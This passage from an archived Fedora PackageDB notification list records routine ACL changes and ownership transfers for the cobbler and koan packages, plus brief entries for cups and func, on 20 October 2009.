  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:26 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145526.BAF3110F8F2@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 6) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:30 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145530.600AA10F8F3@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 8) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:30 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145530.ED9FE10F8FA@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:31 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145531.9217410F8FD@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 8) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:32 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145532.E3C1210F8FE@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:33 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145534.02AED10F905@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:35 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145535.30A8A10F901@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:37 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145537.6C7B410F902@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 9) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:38 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145538.2BF7810F906@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 9) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:39 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145539.72B5910F8C7@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:40 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145540.21EB710F90A@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:41 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145541.87D3C10F90B@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:42 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145543.B404D10F8C6@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:46 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145546.C478510F8CC@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 10) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:47 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145547.457E810F90F@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 10) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:49 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145549.3F31E10F8CF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:49 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145549.5C49810F90D@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:50 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145550.46EF010F913@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:51 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145551.5B7F010F915@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:54 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145554.2CB8610F8D0@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 11) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:54 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145554.7803310F916@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 11) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:55 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145555.E718210F8D7@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:57 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145557.AE81610F91A@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:56 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145556.C2F7F10F918@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:55:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:55:59 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145559.0B6A610F91B@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:01 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145601.C7DE210F8DA@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 12) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:02 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145602.9704C10F91C@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 12) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:04 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145604.B185510F920@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:02 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145602.EFDA410F91F@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora 12) to Obsolete for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:05 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145605.4AEA410F923@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:06 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145606.6ABAA10F925@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:07 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145607.F3D0410F8BE@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:16 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145616.46B4F10F892@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora devel is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:19 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145619.C568A10F8BF@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora EPEL 4 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:21 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145621.6B59A10F8BD@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora EPEL 5 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:22 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145622.DD0E610F8EB@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 7 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:24 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145624.2AF9E10F8EF@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 5 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:25 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145625.96C9910F8F1@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 6 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:26 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145626.DEBFD10F928@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 8 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:28 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145628.0CEB110F92A@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 9 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:03 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145903.30D5F10F8B9@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora devel) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:04 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145904.28E7E10F8B8@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora devel) to Obsolete for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:06 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145906.3B49910F8BE@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:08 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145908.1E54F10F8C2@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:09 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145909.BBD0310F8C5@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:13 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145914.1547910F8C7@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora EPEL 4) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:14 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145914.76D3810F8CC@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:14 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145914.F1D8B10F8D0@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora EPEL 4) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:30 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145630.3A3F710F92D@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 10 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:31 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145631.2782C10F930@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 11 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:56:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:56:32 +0000
Subject: [pkgdb] cobbler ownership updated
Message-ID: <20091020145632.701EB10F932@bastion2.fedora.phx.redhat.com>

Package cobbler in Fedora 12 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:57:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:57:01 +0000
Subject: [pkgdb] cups: jpopelka has requested watchcommits
Message-ID: <20091020145701.EAA5C10F8AF@bastion2.fedora.phx.redhat.com>

jpopelka has requested the watchcommits acl on cups (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cups



From pkgdb at fedoraproject.org  Tue Oct 20 14:58:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:58:40 +0000
Subject: [pkgdb] func (un)retirement
Message-ID: <20091020145840.C5E3210F8AC@bastion2.fedora.phx.redhat.com>

Package func in Fedora devel has been unretired by toshio and is now orphan.

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:01 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145901.4B4D110F8AF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora devel) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:02 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145902.207F210F8B1@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:15 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145916.08A0710F8D3@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:17 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145917.5F0E310F8D1@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:18 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145918.9DB9A10F8D7@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora EPEL 4) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:21 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145921.CF60810F87F@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora EPEL 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:23 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145923.4801110F8DB@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:23 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145923.4F29D10F8DD@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora EPEL 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:24 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145924.4A11610F8DF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:26 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145926.250E910F8EC@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:27 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145927.3147310F8EF@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora EPEL 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:29 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145929.828E510F8AF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 7) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:30 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145930.C284A10F8B3@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:31 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145931.F027010F8F3@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:34 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020145934.E767C10F8F9@bastion2.fedora.phx.redhat.com>

Package func in Fedora devel is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:34 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145935.0621810F8FC@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 7) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:36 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145936.88EE910F8FE@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
